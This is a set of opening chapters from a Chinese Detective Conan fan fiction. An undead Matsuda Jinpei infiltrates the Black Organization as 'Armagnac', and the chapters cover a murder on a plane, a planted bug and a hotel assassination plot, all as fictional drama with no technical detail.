《不死者松田的二周目奋斗生涯》 1. 雅邑白兰地与三杯鸡尾酒 《不死者松田的二周目奋斗生涯》全本免费阅读 米花中央大厦顶层瞭望餐厅。 知名星二代兼女影星克丽丝·温亚德今天在这里预定了位置,现在坐在座位上耐心地等待着,即使这家知名的餐厅已经招待过足够多的名人,侍者小田让依旧感觉到十分荣幸。 ‘让克丽丝·温亚德等待的会是什么人呢?’小田让侍立在一边不着边际地想着。 很快,她等的人就到了,那是一个长得非常好看的深色皮肤金色头发的混血青年,青年露出了一个非常能够引起人的好感的笑容,说道:“抱歉,突然有事耽搁了一下。” ‘啊,难道是情人吗?这张脸有这个资本啊,’小田让一边上前替青年整理餐具,一边继续发散思维,‘也有可能是想要获得演艺圈机会的新人也说不定,这张脸确实有这个资本啊。’ “没关系,毕竟你是大忙人嘛。”克丽丝弯起涂抹着唇膏的漂亮红唇说道。 ‘大忙人?难道是什么厉害的影视制作人之类的?’小田让将餐巾铺开之后将餐前酒单递给了克丽丝·温亚德。 克丽丝·温亚德扫了一眼之后,将酒单重新交给小田让,微笑着说:“雅邑白兰地,谢谢。” “就这样进入正题了吗?”混血青年依然带着那种亲和的笑容问道。 ‘餐前酒怎么就是正题了?’小田让的心里话一点儿也停不下来。 接着,他看到克丽丝·温亚德向他比了一个手势,那意味着接下来顾客不希望有人在上菜以外的时候有人站在旁边了,小田让非常识趣的退下了。 在该消失的时候消失,是他们这种级别的餐厅服务生的基本素养。 服务生走后,克丽丝·温亚德涂着漂亮指甲油的手支住自己的下巴,看向混血青年,笑道:“这不就是你今天晚上约我出来的目的嘛,波本。” 仿佛是什么魔咒,一声‘波本’叫出来,对面混血青年脸上的笑容顿时变得神秘莫测了起来。 “这也没有办法呀,一个代号成员突然回到日本来,我总得对他有点了解吧,都是情报人员,你应该懂得吧,贝尔摩德。” “还有你查不到的情报吗?”贝尔摩德笑道。 “我的情报范围也是有限的啊,”波本假惺惺地叹了一口气,“我上哪里去查一个常年辗转在非洲、中东和拉美的组织成员的情报呢?” “我可不会随随便便告诉你哦。” “真是没办法呀,我可以依据你告诉我的情报,之后帮你一个或大或小的忙,你看怎么样,贝尔摩德?”波本的笑容看起来更神秘也更假了。 贝尔摩德的笑容倒是稍稍真诚了一点点,说道:“那太好了,我们来喝酒吧。” 小田让拿着餐前酒和矮脚杯来到桌前的时候,还以为这两个人在进行什么‘看谁先不笑’的挑战。 “雅邑白兰地。”小田让轻声报了酒名,为两位倒了酒,然后不声不响地再次消失。 “阿美尼亚克,”波本看着杯中的酒液说道,“他的代号。” 波本稍稍下调今晚的情报收获预期,如果一晚上都是这种程度的暗示的话,那基本都是明面上他能查到的情报了。 “打扰了,前菜红酒鹅肝。”小田让端上前菜,然后再次消失。 “我们先用餐吧,为了答谢上次你帮我的忙,今天的餐单是我请主厨先生很用心拟定的。” “那还真是多谢你了。” 安室透一边吃,一边想着这个鹅肝的做法好像有点不一样,不愧是主厨的手艺,只是不知道秘方到底是什么。 一边享用美食,一边闲聊,时间总是过得很快,等到最后一道甜品上完的时候,这次会面也到了尾声。 面对贝尔摩德的时候,波本的耐心和脾气都很好,他拿起餐巾擦了擦嘴角,等贝尔摩德开口。 “这家餐厅最近来了一个很不错的调酒师,我很喜欢他们的鸡尾酒,”贝尔摩德说,“再点两杯作为消化酒吧。” “都听你的。”波本笑着说。 贝尔摩德伸手叫小田让来,说道:“之前定下的两杯鸡尾酒。” 小田让点点头,说道:“好的,立刻为您调制。” 第一杯鸡尾酒被放在了桌面上。 波本看着面前层次分明的酒液和上面燃烧着的火焰,挑了挑眉说道:“B52。” B52鸡尾酒,灵感来源是B52轰炸机,波本有查到过阿美尼亚克最早是 2. 归来与飞机上的案件 《不死者松田的二周目奋斗生涯》全本免费阅读 [该尸体眼圈呈青黑色,嘴唇呈青色,皮肤苍白化,瞳孔扩大,未出现尸斑,左颈侧有刀伤,创口泛白,无炎症反应,可推断为死后伤,目测死亡时间在30分钟以内,死者目前情绪稳定,考虑要不要让自己看起来更像人一点,又觉得没有必要。] 松田阵平站在机舱的洗手间里,一边看着镜子里的自己一边在心里自言自语,这是他再次回到这个世界以后才养成的习惯。 【你知道我是不会迎合你的这种笑话的,对吧?】 [有什么关系?这可是只有我能讲的笑话。] 左颈的伤口是之前留下的,那是位很厉害的一位杀手,一刀切断了颈内动脉,可惜的是,鲜血没有像她想象的那样喷出来,她留下的伤口也在之后的几天里缓慢地愈合,现在看起来,只是一道比较深却不致命的刀口罢了。 为了不吓到人,松田阵平还是掏出了一块方形的医用创可贴把伤口盖住了。 [但我觉得其实也不一定会吓到人,现在的年轻人,审美都很多元。]松田阵平一边贴,一边在心里说。 比如登上这班飞机之前,在西斯罗机场候机的时候,他就被一个打扮得非常像吸血鬼的女孩拦下了。 她说虽然你的黑西装比较无趣,但是你的哥特妆又弥补了这一部分,可以教教我你是怎么把哥特妆画的这么自然的吗? 松田阵平告诉她,这可能需要必死的决心。 换了创可贴,又洗了洗手,松田阵平戴上墨镜,走出洗手间,迎面就看到一个战战兢兢的秃头中年男人走过来,他脸色苍白,看起来很不舒服,他看了松田阵平一眼,抖得更厉害了,赶紧钻进了另一个洗手间。 松田阵平挑了下眉毛,继续向前走,路过了跟这个男人同排的一男一女,两个人似乎在低声争执着什么,再往前走,一个有着小胡子的中年男人坐在靠过道座位上呼呼大睡,旁边是一个漂亮的少女和一个小孩儿,小孩儿偏过头安静地看了他一会儿,然后又一口一个‘小兰姐姐’地跟旁边的少女闹腾起来。 那个留胡子的中年男人松田阵平认识,曾经是他们警校非常厉害的一位前辈,传奇一样的神枪手,后来又去做了侦探,没想到会在这里遇见了。 [系统,你说的世界扭曲的修正关键点是不是就是毛利前辈?]松田坐回自己的座位问。 这个世界的本源被扭曲了,这也是为什么松田会以这种状态出现在这里的原因,而这个自称为【世界存续保障系统】的存在曾经对他说,把世界修正的关键点就出现在今年,而毛利前辈恰巧就在今年突然声名大噪,松田阵平觉得自己的推断还算是合理的。 【不是,是他旁边的那个。】 [哈?那个少女吗?]松田一边回忆,一边觉得不可思议,[喂喂,这可不是电视上放的美少女拯救世界的少女动画啊。] 【不是,更旁边的的那个。】 松田回忆起那个一直在叫着‘小兰姐姐’撒娇的目测一年级的小学生,沉默了一会儿抓了抓头发,问道:[你认真的吗?] 【我不会说假话。】 松田阵平想……松田阵平什么都不想,他不受控制地在座位上回过身去,又看了一眼和毛利前辈一起的那个小孩,当然看不到,他们隔了好几排,只能听到机舱里那个小孩儿用稚嫩的声音,童言童语的和旁边的‘小兰姐姐’聊天。 松田阵平没脾气了,烦躁地把自己摔回座位,离飞机降落还有一个小时,他还是睡一觉,等到飞机降落之后,他决定立刻、马上,抽一支烟。 朦朦胧胧中,松田阵平听到了飞机降落的广播声,然后,机舱震动了几下就落地了。 空姐在广播中提示,飞机还在滑行,请乘客不要站起来,不要打开行李架,两个空乘服务人员路过了他,一个人对另一个人小声说道,洗手间里面好像还有人,要另一个人去检查一下。 然后,就是一声尖利、惊恐的尖叫。 “啊————” 松田阵平清醒了,那一瞬间他想了很多,包括他第一次殉职的前一天,他和佐藤美和子一上午经历的抢劫案、公交车失控案、高楼自杀谈判,一种熟悉的感觉扑面而来,他叹了口气。 [这么多年没回来,这个城市还是这么热闹。] 然后他看见所有人惊恐地看向后面的洗手间的方向,但是他邻座的女士却惊骇地看着他。 松田阵平看回去的时候,那位女士似乎更害怕了,她狠狠摇了摇头,像是掩饰着什么一样跟着大家向后面看去了。 [她应该比我早醒了一会儿,说不定是以为我死了,]松田在心里说,[毕竟我睡在哪里,哪里就是抛尸现场。] =========================================================== 尖叫响起的时候,坐在第42排的江户川柯南立刻从座位上窜出去,直奔尖叫发出的地点,空乘站在洗手间的门前,惊恐地看着洗手间里恐怖的景象,柯南迎着她的目光看去,瞳孔骤然紧缩。 一位秃头的中年男子死在了洗手间的马桶上,满地都是血迹。 “叫所有人留在原地,立刻报警!”他对空乘大喊道,空乘慌忙地点头。 说完他就跑到了尸体旁边,开始调查,他第一眼就看到了尸体喉咙上那道深深的伤口,和尸体手中握着的小刀。 “这……难道说,是自杀吗?”跟过来的毛利小五郎看着尸体严肃地说。 ‘不对。’柯南皱着眉头看着伤口判断。 “才不是吧,那个伤口周围是泛白的,没有红晕,也没有组织收缩的现象,明显是死后伤吧。” 听到这句突然的搭腔,柯南和毛利小五郎都回头看见了这个说话的男人。 柯南眼神锐利了起来,这是那个在上飞机的时候就让他非常在意的黑西装卷毛男人,他就站在自己的身后,用一种探究的目光从墨镜后看着他。 [我大概理解了,我还从来没有想过还能看到一个小学生有这么犀利的眼神,]松田阵平在心里对系统说,随后,他看向洗手间里死去的中年男子,[幸好,他不是我负责。] 说完,他又在心里跟自己讲了个笑话:[现在,这个飞机上有两具尸体了。] ============================================================== 飞机落地死了个人,机舱内弥漫着血腥和那种长途飞行后的沉闷混合起来的味道,奇怪又让人隐隐有点恶心。整架飞机的乘客都被控制在飞机上,机舱内此起彼伏的都是呕吐、打电话和零星的啜泣声。 很快,警察就来了,东京的刑警出警速度一向如此及时,背后的原因令人暖心。 来的是搜查一课强行犯搜查三系的目暮警官、佐藤美和子和高木涉,佐藤美和子正在向第一发现 3. 不那么经典的三选一 《不死者松田的二周目奋斗生涯》全本免费阅读 “我吗?”松田阵平指着自己,突然有点跟不上节奏。 “老师在候机的时候看到你就害怕得不得了,这次老师接受这个公司聘任的原因也很蹊跷!说不定你就是那个公司的人,老师看到你在这班飞机上就知道你要杀他,所以才那么害怕!”中岛英子指着松田阵平大喊道。 松田听完,打了个哈欠,懒洋洋地说道:“等一下啊,这位小姐,可不能因为自己被怀疑了就乱说一气啊,我,跟这位死者以前完完全全没有交集,坐这班飞机纯粹是因为工作调动而已,完全没有杀人的动机。” “那你要怎么解释老师害怕你呢?”中岛英子大声说。 “我怎么知道,”松田阵平微微皱起眉头,“况且你的老师到底是不是真的怕我还不一定呢,只是你在这么说而已吧。” 【其实她说得也不能算完全错。】 【横山公司是组织的制药公司,广义上来说,你现在确实是那个公司的人。】 [那又怎么样,他又不是我负责的。] 【而且作为刚刚得知黑衣组织并且被胁迫加入的一员,他有可能确实在怕你。】 [他又不可能是我吓死的。] “抱歉,但是,老师确实很怕你。”小林田介犹豫地说。 目暮警官严肃了起来,“那么,这位先生,既然有两位关系者的指控,也请您对自己的情况说明一下吧。” 松田阵平戴着墨镜的眼睛安静地注视着面前有些不安的一男一女,吐了口气,从西装内侧口袋里掏出自己的名片递给目暮警官。 目暮警官拿起名片念:“神奈信利,米花Drunk爆破拆除有限公司高级技术顾问。” 松田阵平点点头:“啊,这才是我的公司,我这次回来就是因为上面有一些临时项目需要我参与,昨天晚上才订的机票,你可以打我公司的电话去核实。” “而且,还有最关键的一点,”松田阵平说道,“死者最后是死在洗手间里的吧,他进入洗手间的时候,我刚好从另一个洗手间里出来和他打了照面,我根本没有作案的时间,把机舱的监控录像调出来,很容易就可以证明了。” “非常抱歉,”空乘长说,“因为一些技术问题,我们这架飞机上的监控目前只供机长、驾驶员在飞行期间确定舱内情况用,并没有录像功能。” 松田阵平高高地挑起了眉。 【这个世界的监控毁坏率很高,这是世界规则之一。】 [别什么都写在世界规则里啊。] “看来你暂时不能摆脱嫌疑了,神奈先生,”目暮警官严肃着一张脸,“关于山下先生害怕你这件事,你有什么头绪吗?” “没有头绪,那根本不是重点。”松田阵平不客气地说。 “呐,呐,姐姐你为什么说这位死去的老伯伯接受聘请很蹊跷呢?” 刚才一直像个警犬一样在案发现场钻来钻去的一年级小孩儿已经停下来了,他看起来就像已经知道了一些确定的结果,只是他还有别的想知道的东西,于是再次仰起了他的小脸儿提问起来。 “那是因为,老师他接到了邀请之后,一直都心神不宁,经常一个人在实验室里自言自语,无论怎么说,留在英国才更有利于老师的研究,而且,而且,老师这一段时间都还很怕像他一样的黑……” “我说了这根本不是重点!”松田阵平打断了中岛英子的话。 所有人的目光都向他看来,其中柯南的眼神尤其犀利。 【恭喜你,你的嫌疑加重了。】 [总不能让她真的把话说完吧,在日本,杀人都未必判死刑,但是如果她把话说出来,就一定会死了。] “这么简单的案件到底是为什么要啰嗦这么久?”松田阵平不耐烦地皱起眉头,食指和中指下意识地弯曲了一下又按捺下去,他更想抽烟了。 “简单?”目暮警官重复道。 “到现在了,都能看出来的吧!连这种小孩子都应该看出来了。”松田阵平指了指柯南。 ‘喂喂,什么叫这种小孩子啊。’柯南闻言露出了半月眼。 “柯南君?”目暮警官低头看向柯南。 柯南闻言乖巧地摇了摇头,“没有哦,我只是个小孩子,我什么都不知道哦。” [这个世界的修正关键点就是这么装蒜的吗?] 【他还是未成年嘛。】 “那毛利先生呢?您总能看出来了吧。” “唔……就目前的情报来看,神奈先生你确实很有嫌疑啊。”毛利小五郎摸摸下巴,深思后说道。 松田阵平睁大了墨镜后的眼睛。 【我听到了有人滤镜碎掉的声音。】 松田阵平没说话。 ============================================== 江户川柯南观察着眼前这个黑西装的卷毛男人,他强压着不耐烦站在原地,脸色苍白得不像个活人,是生了重病吗?还是受了重伤?脸上压着墨镜看不清眼睛,嘴唇青白,贫血,或者大量失血,受伤的可能性增加了。 那么伤口是在……脖子上的大块医用胶布。 胶布是新的,说明是刚刚更换过,他提到自己刚刚去了洗手间,也许就是为了更换胶布,也就是说,下面的伤口可能还在渗液或者渗血,需要用到如此大块胶布的,要么是大面积的擦伤,要么就是狭长的刀伤。 如果是擦伤的话,往往伤口较浅,以其愈合的速度,除非他就是在飞机上受的伤,否则根本没必要用新的创可贴,刀伤的可能性更大。 而刀伤,尤其是在这么致命的部位的刀伤,受伤者本人的身份经历,就也跟着不简单起来了。 唯一存疑的是,作为一个失血过多的重伤患,这位神奈先生实在是太有精神了一点。 “柯南,你在怀疑那位先生是凶手吗?”小兰蹲下来问道。 “他不是。”柯南肯定地说道。 作案的手法他其实已经了解了,确实如这个人所说,是一场相当简单的谋杀案,这位神奈信利先生当然不是这场凶杀案的凶手,但是,从中岛英子和他自己透露出的信息来看,恐怕他和死去的这位山下先生和那个黑衣组织却有着千丝万缕的联系。 “哦——柯南很确定呢。”小兰说道。 柯南心里咯噔一声,立马摸着头傻笑:“哈哈,我也是猜的啦,毕竟侦探游戏真的很好玩呀。” ================================================= “这根本就是一场失败的他杀伪装自杀的案件,”松田阵平指着小林田介和中岛英子说道,“因为自杀的幌子从一开始就被拆穿了,所以凶手别无他法,只能不停地把嫌疑往我头上推罢了。” “喂,你……!”小林和中岛两人面露气愤之色。 “自杀的幌子?”目暮警官疑问道。 “啊,是这样。”毛利小五郎的声音忽然传来,众人向他看去,发现他不知道什么时候,已经找到一个空着的位置坐下沉睡了。 “死者的喉咙上有一处刀伤,手上还抓着一把小刀,明显就是凶手想要给出死者是自杀的错误信息,之所以目暮警官你来之后,我们都没有人提这件事,就是因为在你来之前,我们就已经识破了这个障眼法,死者喉咙上的伤痕是死后伤,而指出这一点的正是神奈先生。” “原来是这样,那么,死者真正的死因到底是什么呢?”目暮警官又问。 “死者身上除了那道死后伤以外,并没有明显的其他伤痕,然而结合死者发紫的嘴唇和口中残留的呕吐物来看,应该是死于中毒。” 没等目暮警官发问,毛利小五郎又说:“中岛小姐、小林先生,请问死者在死前有什么异样吗?” 中岛和小林两个人互相看了一眼,才由小林开口:“老师在飞机上,好像晕机有点严重,一直在吐,最后还开始肚 4. 难走出的机场和震惊的波本桑 《不死者松田的二周目奋斗生涯》全本免费阅读 案件结束,凶手也已经被逮捕。 被封闭在机舱里两个多小时的乘客们终于获准逃离这个恐怖的案发现场,松田看着手机上闪烁的来电显示,提起行李就向机舱外走,一边走一边给自己点了一支烟,然后接起了电话。 “阿美尼亚克,之前说过飞机降落后立刻到发给你的据点来,你现在人在哪?”琴酒在电话那头说。 “啊,黑泽君,我现在在案发现场。”松田阵平叼着烟说。 “……发生了什么?” “哦,飞机上有一位山下先生被杀了,为了找出凶手,所有人都不许走,嗯,就是那位山下先生。” “……你做了什么?” “哈?为什么是这种反应啊?那家伙自己带来的学生把他给杀了,跟我有什么关系啊?”松田阵平不爽地说道。 “哼,”琴酒冷笑了一声,“阿美尼亚克,不要装模作样,如果你不想让这件事发生的话,这件事就一定不会发生。” 听了琴酒这句话,松田阵平神色有点微妙。 [我在他心里到底是什么形象啊?] 【难说。】 一边打电话一边走,松田现在身边已经没什么人了。 “啊,你怎么想也无所谓了,”松田嘴里叼的烟随着他说话而颤动,“反正这家伙就算活着也没什么用,他的那些研究都是学术造假,他的学生就是因为这个把他给做了的。” 松田说完,就扯起嘴角笑了起来,等着琴酒的反应。 然而琴酒却显得很平静:“哦?那正好,就算那些研究是真的现在也没什么用,因为横山制药公司已经不存在了。” “……啊?”松田张开嘴,烟差点掉出来。 琴酒的声音莫名变得愉悦了起来,说道:“具体的情况,等你到据点来再说吧。” 说完,琴酒就把电话挂了。 【你的期待落空了。】 [……横山制药为组织已经服务30年了,怎么突然就弃用了?到底发生什么事了。]松田阵平看着挂掉的手机陷入沉思。 “神奈先生,神奈先生!”声音由远及近,终于把松田阵平从思绪里唤醒。 佐藤美和子站在他面前,呼吸有些急促,显然是跑过来的。 “非常抱歉,神奈先生,因为您是这次案件的重要参与者,可不可以请您和我们回警局一趟,做个笔录呢?” 松田静静地看了她一小会儿,断然拒绝道:“不行,这次来我是有紧急工作的,我不能再耽误时间了,抱歉。” 佐藤美和子可能也没想到松田阵平拒绝的这么干脆,她愣了一下,又说道:“那可不可以请您给我一个联系方式,这样如果我们在后续的案件处理过程中还有需要询问的地方,还可以联系到您。” “在你们警官手里不就有我的名片吗?”松田阵平脸上挂着不耐烦的神情说,“打我们公司的电话就可以了。” “就这样吧,警察小姐,再见。”松田向佐藤美和子点点头,提着行李大步离开了。 留下佐藤美和子在原地愣神。 “佐藤警官,你还好吗?”追上来的高木涉在她旁边问道。 “啊,”佐藤美和子回过神来,“没事,只是那位神奈先生很着急,不是很配合做笔录而已,不过案件其实已经相当清晰,之后如果还有不明确的地方,再联络就可以。” “原来是这样。”高木涉点点头。 “只是……”佐藤美和子露出思索的神情,“我总觉得是不是在什么地方见过这位神奈先生。” “诶?是以前认识的人吗?”高木惊讶道。 佐藤美和子摇摇头,“不是,只是莫名地觉得有点眼熟。” 最后,佐藤美和子怎么也想不起来,索性放弃了思索。 “走吧,我们回去吧。”佐藤美和子转身对高木涉说道。 “啊,好。”高木涉连忙跟上。 ======================================================== 【我记得你对她是很有好感的。】 [死人要学会不要给活人添麻烦。] 【你如果真的这么想得开的话,为什么死前的那条信息要加上那么一句话呢?】 [……] [所以我现在就在修正这个错误。] 松田阵平在转弯前回过头,看向并肩往回走的佐藤美和子和高木涉:[你不是说佐藤最后和她身边那个木头结婚了嘛?] [这不是挺好的?] =================================================== 结束了这段和系统的对话之后,松田继续向机场外面走,然后突然自己的小腿就被撞了一下。 松田阵平低头看去,[我今天还能不能走出这个机场了?] 江户川柯南可怜兮兮地摸着自己的额头,说道:“对不起,大哥哥,我玩得太高兴了,没有注意看路,撞到你了。” 松田阵平神色莫名地看了看江户川柯南,又看了看好远好远以外的那位‘小兰姐姐’。 什么小孩在机场里能玩出这么远来? 他看着柯南眼中深藏的紧张和恐惧,在心里叹了口气。 [就非得让一个小孩来当这个修正点吗?] 【他可能比你认为的要厉害。】 [再厉害也就是个一米的小孩。] “别离你家长太远了,快回去吧。”最后,松田阵平看着柯南这样说。 ================================================== 等到最后坐上组织的车的时候,松田阵平觉得自己比打了一场仗还累。 “石川,我的身份和据点都准备好了吧。”松田阵平问道。 坐在驾驶座上开车的是一个沉默而干练的中年男人,听到松田阵平的问话,回复道:“已经都准备好了。” “东西都带了吗?” “都在后备箱里。” “嗯,那就去琴酒给的那个地址吧。” 说罢,松田阵平摘下墨镜闭上眼,把头向后座的靠枕上仰过去,决定休息一会儿。 但下一瞬间,他就烦躁的睁开眼,他的直觉叫嚣地告诉他,肯定有什么东西不对劲,被他忽略了。 他的直觉曾经帮助他避免过很多麻烦的状况,这次他也决定听从直觉的提示。 石川时不时地通过后视镜看他的情况,松田阵平在他的视线下,把自己从上到下检查了一遍,然后,在自己的裤脚发现了一个非常精巧的窃听器。 看着指间的那枚窃听器,松田迅速过了一下记忆里一切可疑的线索,然后下一秒他的表情轻微地扭曲了起来。 【我都说了,他可能比你认为的要厉害。】 【江户川柯南安装窃听器自带极大成功率和隐蔽率,这也是世界规则之一。】 [我都说了别什么都往世界规则里写啊!] [这是厉害吗?如果我就这么带着窃听器去据点里见到琴酒,又被琴酒发现的话,他,他姐姐,毛利前辈,就都有危险了!] 【他现在对组织的认识还没有那么深刻呢。】 “阿美尼亚克,怎么了?”石川看着后视镜里松田阵平的眼睛,那双眼睛没了墨镜的遮挡,让他能够清晰地看到他一直不自然扩散的瞳孔,和里面清晰地愠怒。 松田阵平垂下眼对着窃听器说:“啊,没事,只是发现了一只小老鼠上不了台面的小动作而已。 5. 任务与穷凶极恶的爆|炸犯(小修) 《不死者松田的二周目奋斗生涯》全本免费阅读 松田阵平,警视厅警备部机动组爆|炸物处理班的王牌排爆手,也是降谷零警校时期的同期兼好友,于7年前处理高楼爆|炸物时被突然启动的炸弹近距离爆|炸身亡,尸骨无存,时年22岁,刚刚从警校毕业一个半月。 降谷零和其余三位好友每一年都会在11月7日那一天前往墓地祭拜他,他们每一个人都发誓要把那个设置炸弹的畜生找出来,为他报仇,今年离祭拜还差几个月。 然而有一个和他祭拜的对象长得一模一样的家伙,现在就坐在距离他一米不到的沙发上,和一个犯罪组织的头号杀手互相抬杠、谈笑风生。 降谷零不动声色地坐在对面的沙发上,悄悄地握紧了拳头,感受到指甲刺进手掌里的刺痛。 现场是找到了防爆服残片上沾染的大量血迹和人体组织残留的,鉴识科的人员找不到尸体,最后只能解释为炸弹的冲击波过大,在一瞬间就已经穿过防爆服把里面的人体震碎了。 这件防爆服的残片最后作为了松田阵平遗体的替代物,葬进了他的坟墓。 他的另一个好友,也是松田阵平的幼驯染萩原研二对于这件事一开始非常固执地不愿接受,在很长一段时间里,都不肯承认松田阵平已经死了,并且拒绝去他的墓前祭拜,直到松田阵平的父亲松田丈太郎去见了他一面,他才终于大哭着接受了。 也许萩原是对的呢? 降谷零,你不能就这么假定这个人就是松田,冷静下来。 “任务目标是这个人,”琴酒把照片从怀里掏出来,放在桌面上,那是一个头发灰白的中年男人,戴着一顶棒球帽,穿着风衣,神色有些紧张害怕,“东京3号研究所106项目负责人,野泉贵志,昨天确定叛逃,解决他。” 仿佛想起了什么好笑的事,阿美尼亚克低声笑了出来。 “噗,日本区的研究所最近怎么这么热闹啊?” “你就当是为了迎接你吧。”琴酒不冷不热地嘲讽道。 阿美尼亚克挂下脸来,把身子向后一靠,兴趣缺缺地说:“杀一个研究人员,这种小打小闹还用得着找我吗?” “你这次在日本要待久一点,总得找找你的位置,不然你就做回老本行,给我们提供武器就可以了。” “免谈,我早就转到行动组了,说白了,我的东西你们根本就不会用,动不动就搞得乱七八糟的。” “需要我提醒你,上一次在纽约的行动,你一个人炸了四个街区吗?” “也不知道是谁一口气把FBI和CIA都搅进来,差点被围堵的,你要是不记得那是谁,让贝尔摩德告诉你,她当时也在,别说得好像我自己带着炸弹从天上掉下来似的。” “喂,你们两个能不能等任务安排完了再吵架,我真的受不了你们了。”基安蒂不耐烦地打断了琴酒和阿美尼亚克针锋相对的对话。 “就是嘛,”波本微笑着打起圆场,“都是为组织做事有什么不好说的呢?任务优先嘛。” 然后波本就看见阿美尼亚克神色莫名地看了他一眼,露出了一种吃坏了东西的表情。 有基安蒂和波本两个人打岔,琴酒和阿美尼亚克的礼貌对话告一段落,阿美尼亚克抓起桌面上的造型打火机,掏出烟盒给自己点了一支烟,然后叼着烟就把打火机拆了,从烟盒里抽出了一根钢签,随手鼓捣鼓捣就成了一个奇怪的装置,随后被他拍在琴酒面前。 是炸弹。 “喏,武器,用吧,威力绝对可控,能把小婴儿吓哭。”阿美尼亚克叼着烟露出了一个坏笑。 “小孩嘛你是?”基安蒂大叫道。 ‘不就是小孩子嘛,他也是。’波本心里想着,又在心里狠狠给了自己一巴掌。 为了摆脱追捕,炸掉四个街区,这明明就是一个穷凶极恶的罪犯。 阿美尼亚克没忍住在一旁打了一个哈欠。 波本看着这一幕,突然深呼吸一口气,压抑住突如其来的怒火。 琴酒懒得搭理他,在的时候,他又继续说起了任务安排。 “任务目标目前在杯户尊豪酒店,从三天前进去就一直呆在里面足不出户,根据前期情报,任务目标以收到威胁生命的恐吓信为由,报警并请警察提供保护,我们要做的就是在警察的保护下,做掉他。” 阿美尼亚克又打了个哈欠,“这种任务叫贝尔摩德随便给什么人易容一下,混进去把人杀了不就得了?还需要我们这么多人吗?” “她有别的任务。” 阿美尼亚克耸耸肩,“那就快点结束吧。” ===================================================== 杯户尊豪酒店大厅,一个金色头发深色皮肤的混血青年正在与前台小姐交谈。 “诶?原来是这样啊,这么说来708那个房间的住客可真是个怪人啊,多谢你,田中小姐,如果你不是你特意告诉我的话,我可能不知不觉就把房间订到他旁边去了。”漂亮的混血青年,波本,如是说。 “就是说啊,安室先生,”田中小姐的脸颊红扑扑地说道,“我给您在1008号房间办理入住吧,那里的景色从窗户看出去最漂亮了。” “那真是麻烦你了,田中小姐。”化名为安室透的波本笑眯眯地说。 松田阵平听着耳机里面波本的声音,在心里默默吐槽。 [6分钟,金发大老师先套到了任务目标的房间号,又套到了一颗心,组织到底锻炼了他什么啊?] 【人都是会成长的。】 [如果他们再参加联谊会的话,zero和hagi可能就要平分秋色了,]松田阵平莫名有点唏嘘,[但我赌最后肯定还是hagi赢,hagi胜在真诚。] 【你认真的吗?】 [hagi对每一个女孩子都很真诚。] 波本拿了房卡,又说了几句好话逗得田中小姐笑颜如花,随后坐上电梯上了7层拿着房卡走了一圈,假装走错了层,又坐上电梯去了10层。 “7楼走廊里发现三个便衣,确定目标在7层708室。” 闻言,松田阵平提着工具箱从停车场走出来,从后门进了酒店。 松田阵平穿着一身藏蓝色的工装,头上压着一顶棒球帽,墨镜,针织手套,裤腿和袖口还有些灰尘,他走进了电梯。 7楼的电梯门打开,迎面一个穿着咖色风衣的青年便衣看见松田阵平,状似随意地问道:“是要修理什么吗?” “啊,”松田阵平压低了嗓子说道,“有客人房间的顶灯坏了,我来修理一下。” 便衣没有起疑,松田阵平从他的身边走过去了。 =============================================================== 监控室里,毛利小五郎和目暮警官表情严肃地看着监控电视。 “田宫,刚刚和你对话的是什么人?”目 6. 世界意志与柯学 《不死者松田的二周目奋斗生涯》全本免费阅读 人群惶恐不安地被警察和工作人员引导着涌出酒店的大门。 “看见野泉贵志了吗?”琴酒问道。 “还没有。”基安蒂拿着望远镜从远处的天台观察着。 “继续观察,还有两分钟,一旦看到他冒头,立刻击毙。”琴酒下令道。 “知道了。” 别看基安蒂平时的样子,狙击手最不缺的就是耐心。 =========================================================== “民众撤离得怎么样了?”酒店外,目暮警官流着汗紧张地问道。 “报告目暮警部,中高楼层已经全部撤离,只剩下低楼层的住客还在有序撤离中,预计在2分钟都可以撤离完毕。”警员在对讲机里回道。 “田宫,野泉先生撤离了吗?” “还没有,野泉先生说什么也不肯离开房间!” “什么?!如果野泉先生再不回应你的话,你就用备用的房卡把他强制带走!”目暮大喊道。 “是,是!”田宫大声回应道。 目暮警官得到回应后,紧绷着面容等待结果。 “诶?柯南君呢?”高木突然问道,“已经撤离酒店了吗?” 众人沉默了一瞬,毛利小五郎大叫起来:“这臭小子又跑到哪里去了?!” =============================================================== 酒店7层,708号房间前。 田宫刑事正在急切地敲着房门,大声喊道:“野泉先生,野泉先生,这里很危险,请立刻跟我出去避难!” 很快里面传来疯子一样神经质的大叫,“你不要想害我!我不会出去的!出去一定就会死的!” “野泉先生,我们会保护你的,请您立刻和我们出去避难!”田宫还再竭力说服。 “我不出去,我不出去!他们来了!我知道他们来了!”那声音几乎是绝望了。 ‘他们?’田宫的脑子里一瞬间闪过一丝疑惑,随即被迫在眉睫的焦急覆盖。 “野泉先生,不好意思,我必须对您的安全负责,失礼了!”说着,田宫就掏出了备用的房卡,还没等刷上,拿着房卡的手就停在了半空中。 一记手刀快准狠地敲上了田宫的后颈,田宫几乎连反应都没有就立刻倒了下去。 一只手抽出了田宫手中的房卡,顺带掸了掸自己的工装裤。 松田阵平看着眼前紧闭的房门,刚才那绝望得仿佛像疯狗一样的吠叫,现在居然一点动静也没有了。 [他到底是怎么好意思还寻求警察的帮助的?他活剖了十几个人的时候就没有想过有一天会遭报应吗?] 【如果一切都只考虑自己的话,就没什么好不好意思的了。】 [算了,这个世界上脑子奇怪的人太多了,也用不着让我一一理解。] “监控已经处理干扰完毕。”波本的声音从耳机里传来。 松田阵平点点头,就要用卡刷开房门,忽然,他脑中警铃大作,条件反射地偏开头。 一个物体以无法想象的速度和力道打在了他脑袋边的墙上,松田阵平难以置信地看着墙上的那个坑,又看了看地上的烟灰缸。 他抬起头,看向那个一米高的身影。 好一个小破孩子! [他不是刚下飞机吗?他怎么在这?]松田阵平一瞬间震撼了。 【你不是也刚下飞机吗?】 [爆炸现场是他一个小孩儿能到处乱窜的吗?他家大人呢?这都不管管吗?] 【有爆炸的地方就有名侦探柯南,这也是世界规则。】 [世界规则要都是这样的就别要了。] 【真是难得看你情绪这么激动。】 [当然难得了,那个烟灰缸已经能杀人了,所以他是修正关键点纯粹是因为他有超能力是吗?] 【这是柯学,sconance。】 【你也是sconance的一份子。】 [什么东西啊……] “到此为止了,”小破孩子眼镜反光严肃地说,“20层的咖啡厅,18层的酒吧,15层的休闲室,5层的茶餐厅,还有3层的健身房,这就是你设置炸弹的地点,对吧。” “你,还有你背后的组织就是野泉先生向警方求助的原因,他害怕自己口说无凭,所以伪造了一封恐吓信,以自己在学术界的影响力来要求警方保护他。” “对吗?阿美尼亚克。” 